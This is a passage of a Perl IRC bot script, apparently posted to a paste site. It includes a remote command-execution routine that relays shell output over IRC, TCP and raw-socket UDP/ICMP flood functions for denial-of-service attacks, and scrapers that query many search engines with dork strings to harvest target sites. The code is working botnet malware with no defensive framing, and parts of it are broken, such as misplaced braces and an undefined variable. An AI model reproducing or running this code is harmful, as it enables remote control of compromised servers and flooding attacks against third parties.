  1299. sub get_html() {
  1300. $test=$_[0];
  1301.  
  1302.       $ip=$_[1];
  1303.       $port=$_[2];
  1304.  
  1305. my $req=HTTP::Request->new(GET=>$test);
  1306. my $ua=LWP::UserAgent->new();
  1307. if(defined($ip) && defined($port)) {
  1308.       $ua->proxy("http","http://$ip:$port/");
  1309.       $ua->agent("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)");
  1310. }
  1311. $ua->timeout(1);
  1312. my $response=$ua->request($req);
  1313. if ($response->is_success) {
  1314.    $re=$response->content;
  1315. }
  1316. return $re;
  1317. }
  1318.  
  1319. sub addproc {
  1320.  
  1321.    my $proc=$_[0];
  1322.    my $dork=$_[1];
  1323.    
  1324.    open(FILE,">>/var/tmp/pids");
  1325.    print FILE $proc." [".$irc_servers{$IRC_cur_socket}{'nick'}."] $dork\n";
  1326.    close(FILE);
  1327. }
  1328.  
  1329.  
  1330. sub delproc {
  1331.  
  1332.    my $proc=$_[0];
  1333.    open(FILE,"/var/tmp/pids");
  1334.  
  1335.    while(<FILE>) {
  1336.       $_ =~ /(\d+)\s+(.*)/;
  1337.       $childs{$1}=$2;
  1338.    }
  1339.    close(FILE);
  1340.    delete($childs{$proc});
  1341.  
  1342.    open(FILE,">/var/tmp/pids");
  1343.  
  1344.    for $klucz (keys %childs) {
  1345.       print FILE $klucz." ".$childs{$klucz}."\n";
  1346.    }
  1347. }
  1348.  
  1349. sub shell {
  1350.    my $printl=$_[0];
  1351.    my $comando=$_[1];
  1352.    if ($comando =~ /cd (.*)/) {
  1353.       chdir("$1") || msg("$printl", "No such file or directory");
  1354.       return;
  1355.    } elsif ($pid = fork) {
  1356.       waitpid($pid, 0);
  1357.    } else {
  1358.       if (fork) {
  1359.          exit;
  1360.       } else {
  1361.          my @resp=`$comando 2>&1 3>&1`;
  1362.          my $c=0;
  1363.          foreach my $linha (@resp) {
  1364.             $c++;
  1365.             chop $linha;
  1366.             sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  1367.             if ($c == "$linas_max") {
  1368.                $c=0;
  1369.                sleep $sleep;
  1370.             }
  1371.          }
  1372.          exit;
  1373.       }
  1374.    }
  1375. }
  1376.  
  1377. sub tcpflooder {
  1378.    my $itime = time;
  1379.    my ($cur_time);
  1380.    my ($ia,$pa,$proto,$j,$l,$t);
  1381.    $ia=inet_aton($_[0]);
  1382.    $pa=sockaddr_in($_[1],$ia);
  1383.    $ftime=$_[2];
  1384.    $proto=getprotobyname('tcp');
  1385.    $j=0;$l=0;
  1386.    $cur_time = time - $itime;
  1387.    while ($l<1000){
  1388.       $cur_time = time - $itime;
  1389.       last if $cur_time >= $ftime;
  1390.       $t="SOCK$l";
  1391.       socket($t,PF_INET,SOCK_STREAM,$proto);
  1392.       connect($t,$pa)||$j--;
  1393.       $j++;
  1394.       $l++;
  1395.    }
  1396.    $l=0;
  1397.    while ($l<1000){
  1398.       $cur_time = time - $itime;
  1399.       last if $cur_time >= $ftime;
  1400.       $t="SOCK$l";
  1401.       shutdown($t,2);
  1402.       $l++;
  1403.    }
  1404. }
  1405.  
  1406. sub udpflooder {
  1407.    my $iaddr = inet_aton($_[0]);
  1408.    my $msg = 'A' x $_[1];
  1409.    my $ftime = $_[2];
  1410.    my $cp = 0;
  1411.    my (%pacotes);
  1412.    $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  1413.    socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  1414.    socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  1415.    socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  1416.    socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  1417.    return(undef) if $cp == 4;
  1418.    my $itime = time;
  1419.    my ($cur_time);
  1420.    while ( 1 ) {
  1421.       for (my $porta = 1; $porta <= 65000; $porta++) {
  1422.          $cur_time = time - $itime;
  1423.          last if $cur_time >= $ftime;
  1424.          send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
  1425.          send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
  1426.          send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
  1427.          send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
  1428.          for (my $pc = 3; $pc <= 255;$pc++) {
  1429.             next if $pc == 6;
  1430.             $cur_time = time - $itime;
  1431.             last if $cur_time >= $ftime;
  1432.             socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  1433.             send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
  1434.          }
  1435.       }
  1436.       last if $cur_time >= $ftime;
  1437.    }
  1438.    return($cur_time, %pacotes);
  1439. }
  1440.  
  1441. sub ctcp {
  1442.    return unless $#_ == 1;
  1443.    sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  1444. }
  1445.  
  1446. sub msg {
  1447.    return unless $#_ == 1;
  1448.    sendraw("PRIVMSG $_[0] :$_[1]");
  1449. }
  1450.  
  1451. sub notice {
  1452.    return unless $#_ == 1;
  1453.    sendraw("NOTICE $_[0] :$_[1]");
  1454. }
  1455.  
  1456. sub op {
  1457.    return unless $#_ == 1;
  1458.    sendraw("MODE $_[0] +o $_[1]");
  1459. }
  1460.  
  1461. sub deop {
  1462.    return unless $#_ == 1;
  1463.    sendraw("MODE $_[0] -o $_[1]");
  1464. }
  1465.  
  1466. sub j {
  1467.    &join(@_);
  1468. }
  1469.  
  1470. sub join {
  1471.    return unless $#_ == 0;
  1472.    sendraw("JOIN $_[0]");
  1473. }
  1474.  
  1475. sub p {
  1476.    part(@_);
  1477. }
  1478.  
  1479. sub part {
  1480.    sendraw("PART $_[0]");
  1481. }
  1482.  
  1483. sub nick {
  1484.    return unless $#_ == 0;
  1485.    sendraw("NICK $_[0]");
  1486. }
  1487.  
  1488. sub quit {
  1489.    sendraw("QUIT :$_[0]");
  1490. }
  1491.  
  1492. sub fetch(){
  1493.    my $rnd=(int(rand(9999)));
  1494.    my $n= 80;
  1495.    if ($rnd<5000) {
  1496.       $n<<=1;
  1497.    }
  1498.    my $s= (int(rand(10)) * $n);
  1499.    my @dominios = ("removed-them-all");
  1500.    my @str;
  1501.    foreach $dom  (@dominios){
  1502.       push (@str,"@gstring");
  1503.    }
  1504.    my $query="www.google.com/search?q=";
  1505.    $query.=$str[(rand(scalar(@str)))];
  1506.    $query.="&num=$n&start=$s";
  1507.    my @lst=();
  1508.    sendraw("privmsg #debug :DEBUG only test googling: ".$query."");
  1509.    my $page = http_query($query);
  1510.    while ($page =~  m/<a href=\"?http:\/\/([^>\"]+)\"? class=l>/g){
  1511.       if ($1 !~ m/google|cache|translate/){
  1512.          push (@lst,$1);
  1513.       }
  1514.    }
  1515.    return (@lst);
  1516.  
  1517. sub yahoo(){
  1518. my @lst;
  1519. my $key = $_[0];
  1520. for($b=1;$b<=1000;$b+=100){
  1521. my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
  1522. my $Res=query($Ya);
  1523. while($Res =~ m/\<span class=yschurl>(.+?)\<\/span>/g){
  1524. my $k=$1;
  1525. $k=~s/<b>//g;
  1526. $k=~s/<\/b>//g;
  1527. $k=~s/<wbr>//g;
  1528. my @grep=links($k);
  1529. push(@lst,@grep);
  1530. }}
  1531. return @lst;
  1532. }
  1533.  
  1534. sub msn(){
  1535. my @lst;
  1536. my $key = $_[0];
  1537. for($b=1;$b<=1000;$b+=10){
  1538. my $msn=("http://search.msn.de/results.aspx?q=".key($key)."&first=".$b."&FORM=PORE");
  1539. my $Res=query($msn);
  1540. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1541. if($1 !~ /msn|live/){
  1542. my $k=$1;
  1543. my @grep=links($k);
  1544. push(@lst,@grep);
  1545. }}}
  1546. return @lst;
  1547. }
  1548.  
  1549. sub lycos(){
  1550. my $inizio=0;
  1551. my $pagine=20;
  1552. my $key=$_[0];
  1553. my $av=0;
  1554. my @lst;
  1555. while($inizio <= $pagine){
  1556. my $lycos="http://search.lycos.com/?query=".key($key)."&page=$av";
  1557. my $Res=query($lycos);
  1558. while ($Res=~ m/<span class=\"?grnLnk small\"?>http:\/\/(.+?)\//g ){
  1559. my $k="$1";
  1560. my @grep=links($k);
  1561. push(@lst,@grep);
  1562. }
  1563. $inizio++;
  1564. $av++;
  1565. }
  1566. return @lst;
  1567. }
  1568.  
  1569. #####
  1570. sub aol(){
  1571. my @lst;
  1572. my $key = $_[0];
  1573. for($b=1;$b<=100;$b++){
  1574. my $AoL=("http://search.aol.com/aol/search?query=".key($key)."&page=".$b."&nt=null&ie=UTF-8");
  1575. my $Res=query($AoL);
  1576. while($Res =~ m/<p class=\"deleted\" property=\"f:url\">http:\/\/(.+?)\<\/p>/g){
  1577. my $k=$1;
  1578. my @grep=links($k);
  1579. push(@lst,@grep);
  1580. }}
  1581. return @lst;
  1582. }
  1583. #####
  1584. sub ask(){
  1585. my @lst;
  1586. my $key=$_[0];
  1587. my $i=0;
  1588. my $pg=0;
  1589. for($i=0; $i<=1000; $i+=10)
  1590. {
  1591. my $Ask=("http://it.ask.com/web?q=".key($key)."&o=312&l=dir&qsrc=0&page=".$i."&dm=all");
  1592. my $Res=query($Ask);
  1593. }
  1594. return @lst;
  1595. }
  1596. #####
  1597. sub alltheweb()
  1598. {
  1599. my @lst;
  1600. my $key=$_[0];
  1601. my $i=0;
  1602. my $pg=0;
  1603. for($i=0; $i<=1000; $i+=100)
  1604. {
  1605. my $all=("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$i);
  1606. my $Res=query($all);
  1607. while($Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g){
  1608. my $k=$1;
  1609. $k=~s/ //g;
  1610. my @grep=links($k);
  1611. push(@lst,@grep);
  1612. }}
  1613. return @lst;
  1614. }
  1615.  
  1616. sub google(){
  1617. my @lst;
  1618. my $key = $_[0];
  1619. for($b=0;$b<=100;$b+=100){
  1620. my $Go=("http://www.google.it/search?hl=it&q=".key($key)."&num=100&filter=0&start=".$b);
  1621. my $Res=query($Go);
  1622. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1623. if ($1 !~ /google/){
  1624. my $k=$1;
  1625. my @grep=links($k);
  1626. push(@lst,@grep);
  1627. }}}
  1628. return @lst;
  1629. }
  1630.  
  1631. #####
  1632. # SUBS SEARCH
  1633. #####
  1634. sub search(){
  1635. my @lst;
  1636. my $key = $_[0];
  1637. for($b=0;$b<=1000;$b+=100){
  1638. my $ser=("http://www.search.com/search?q=".key($key)."".$b);
  1639. my $Res=query($ser);
  1640. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1641. if ($1 !~ /msn|live|google|yahoo/){
  1642. my $k=$1;
  1643. my @grep=links($k);
  1644. push(@lst,@grep);
  1645. }}}
  1646. return @lst;
  1647. }
  1648.  
  1649. #####
  1650. # SUBS FireBall
  1651. #####
  1652. sub fireball(){
  1653. my $key=$_[0];
  1654. my $inicio=1;
  1655. my $pagina=200;
  1656. my @lst;
  1657. my $av=0;
  1658. while($inicio <= $pagina){
  1659. my $fireball="http://suche.fireball.de/cgi-bin/pursuit?pag=$av&query=".key($key)."&cat=fb_loc&idx=all&enc=utf-8";
  1660. my $Res=query($fireball);
  1661. while ($Res=~ m/<a href=\"?http:\/\/(.+?)\//g ){
  1662. if ($1 !~ /msn|live|google|yahoo/){
  1663. my $k="$1/";
  1664. my @grep=links($k);
  1665. push(@lst,@grep);
  1666. }}
  1667. $av=$av+10;
  1668. $inicio++;
  1669. }
  1670. return @lst;
  1671. }
  1672. #####
  1673. # SUBS UOL
  1674. #####
  1675. sub uol(){
  1676. my @lst;
  1677. my $key = $_[0];
  1678. for($b=1;$b<=1000;$b+=10){
  1679. my $UoL=("http://busca.uol.com.br/www/index.html?q=".key($key)."&start=".$i);
  1680. my $Res=query($UoL);
  1681. while($Res =~ m/<a href=\"http:\/\/([^>\"]*)/g){
  1682. my $k=$1;
  1683. if($k!~/busca|uol|yahoo/){
  1684. my $k=$1;
  1685. my @grep=links($k);
  1686. push(@lst,@grep);
  1687. }}}
  1688. return @lst;
  1689. }
  1690.  
  1691. #####
  1692. # Altavista
  1693. #####
  1694. sub altavista(){
  1695. my @lst;
  1696. my $key = $_[0];
  1697. for($b=1;$b<=1000;$b+=10){
  1698. my $AlT=("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
  1699. my $Res=query($AlT);
  1700. while($Res=~m/<span class=ngrn>(.+?)\//g){
  1701. if($1 !~ /altavista/){
  1702. my $k=$1;
  1703. $k=~s/<//g;
  1704. $k=~s/ //g;
  1705. my @grep=links($k);
  1706. push(@lst,@grep);
  1707. }}}
  1708. return @lst;
  1709. }
  1710.  
  1711. sub altavistade(){
  1712. my @lst;
  1713. my $key = $_[0];
  1714. for($b=1;$b<=1000;$b+=10){
  1715. my $AlT=("http://de.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
  1716. my $Res=query($AlT);
  1717. while($Res=~m/<span class=ngrn>(.+?)\//g){
  1718. if($1 !~ /altavista/){
  1719. my $k=$1;
  1720. $k=~s/<//g;
  1721. $k=~s/ //g;
  1722. my @grep=links($k);
  1723. push(@lst,@grep);
  1724. }}}
  1725. return @lst;
  1726. }
  1727.  
  1728. sub altavistaus(){
  1729. my @lst;
  1730. my $key = $_[0];
  1731. for($b=1;$b<=1000;$b+=10){
  1732. my $AlT=("http://us.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
  1733. my $Res=query($AlT);
  1734. while($Res=~m/<span class=ngrn>(.+?)\//g){
  1735. if($1 !~ /altavista/){
  1736. my $k=$1;
  1737. $k=~s/<//g;
  1738. $k=~s/ //g;
  1739. my @grep=links($k);
  1740. push(@lst,@grep);
  1741. }}}
  1742. return @lst;
  1743. }
  1744.  
  1745. #####
  1746. # HotBot
  1747. #####
  1748. sub hotbot(){
  1749. my @lst;
  1750. my $key = $_[0];
  1751. for($b=0;$b<=1000;$b+=100){
  1752. my $hot=("http://search.hotbot.de/cgi-bin/pursuit?pag=$av&query=".key($key)."&cat=hb_loc&enc=utf-8".$b);
  1753. my $Res=query($hot);
  1754. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1755. if ($1 !~ /msn|live|google|yahoo/){
  1756. my $k=$1;
  1757. my @grep=links($k);
  1758. push(@lst,@grep);
  1759. }}}
  1760. return @lst;
  1761. }
  1762.  
  1763.  
  1764. #####
  1765. # Mamma
  1766. #####
  1767. sub mamma(){
  1768. my @lst;
  1769. my $key = $_[0];
  1770. for($b=0;$b<=1000;$b+=100){
  1771. my $mam=("http://www.mamma.com/Mamma?utfout=$av&qtype=0&query=".key($key)."".$b);
  1772. my $Res=query($mam);
  1773. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1774. if ($1 !~ /msn|live|google|yahoo/){
  1775. my $k=$1;
  1776. my @grep=links($k);
  1777. push(@lst,@grep);
  1778. }}}
  1779. return @lst;
  1780. }
  1781.  
  1782. #####
  1783. # MozBot
  1784. #####
  1785. sub mozbot()
  1786. {
  1787. my @lst;
  1788. my $key=$_[0];
  1789. my $i=0;
  1790. my $pg=0;
  1791. for($i=0; $i<=100; $i+=1){
  1792. my $mozbot=("http://www.mozbot.fr/search?q=".key($key)."&st=int&page=".$i);
  1793. my $Res=query($mozbot);
  1794. while($Res =~ m/<a href=\"?http:\/\/(.+?)\" target/g){
  1795. my $k=$1;
  1796. $k=~s/ //g;
  1797. my @grep=links($k);
  1798. push(@lst,@grep);
  1799. }}
  1800. return @lst;
  1801. }
  1802.  
  1803. sub links()
  1804. {
  1805. my @l;
  1806. my $link=$_[0];
  1807. my $host=$_[0];
  1808. my $hdir=$_[0];
  1809. $hdir=~s/(.*)\/[^\/]*$/\1/;
  1810. $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1811. $host.="/";
  1812. $link.="/";
  1813. $hdir.="/";
  1814. $host=~s/\/\//\//g;
  1815. $hdir=~s/\/\//\//g;
  1816. $link=~s/\/\//\//g;
  1817. push(@l,$link,$host,$hdir);
  1818. return @l;
  1819. }
  1820.  
  1821. sub geths(){
  1822. my $host=$_[0];
  1823. $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1824. return $host;
  1825. }
  1826.  
  1827. sub key(){
  1828. my $chiave=$_[0];
  1829. $chiave =~ s/ /\+/g;
  1830. $chiave =~ s/:/\%3A/g;
  1831. $chiave =~ s/\//\%2F/g;
  1832. $chiave =~ s/&/\%26/g;
  1833. $chiave =~ s/\"/\%22/g;
  1834. $chiave =~ s/,/\%2C/g;
  1835. $chiave =~ s/\\/\%5C/g;
  1836. return $chiave;
  1837. }
  1838.  
  1839. sub query($){
  1840. my $url=$_[0];
  1841. $url=~s/http:\/\///;
  1842. my $host=$url;
  1843. my $query=$url;
  1844. my $page="";
  1845. $host=~s/href=\"?http:\/\///;
  1846. $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1847. $query=~s/$host//;
  1848. if ($query eq "") {$query="/";};
  1849. eval {
  1850. my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
  1851. print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  1852. my @r = <$sock>;
  1853. $page="@r";
  1854. close($sock);
  1855. };
  1856. return $page;
  1857. }
  1858.  
  1859. sub unici{
  1860. my @unici = ();
  1861. my %visti = ();
  1862. foreach my $elemento ( @_ )
  1863. {
  1864. next if $visti{ $elemento }++;
  1865. push @unici, $elemento;
  1866. }  
  1867. return @unici;
  1868. }
  1869.  
  1870. sub http_query($){
  1871. my ($url) = @_;
  1872. my $host=$url;
  1873. my $query=$url;
  1874. my $page="";
  1875. $host =~ s/href=\"?http:\/\///;
  1876. $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1877. $query =~s/$host//;
  1878. if ($query eq "") {$query="/";};
  1879. eval {
  1880. local $SIG{ALRM} = sub { die "1";};
  1881. alarm 10;
  1882. my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
  1883. print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  1884. my @r = <$sock>;
  1885. $page="@r";
  1886. alarm 0;
  1887. close($sock);
  1888. };
  1889. return $page;
  1890. }}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement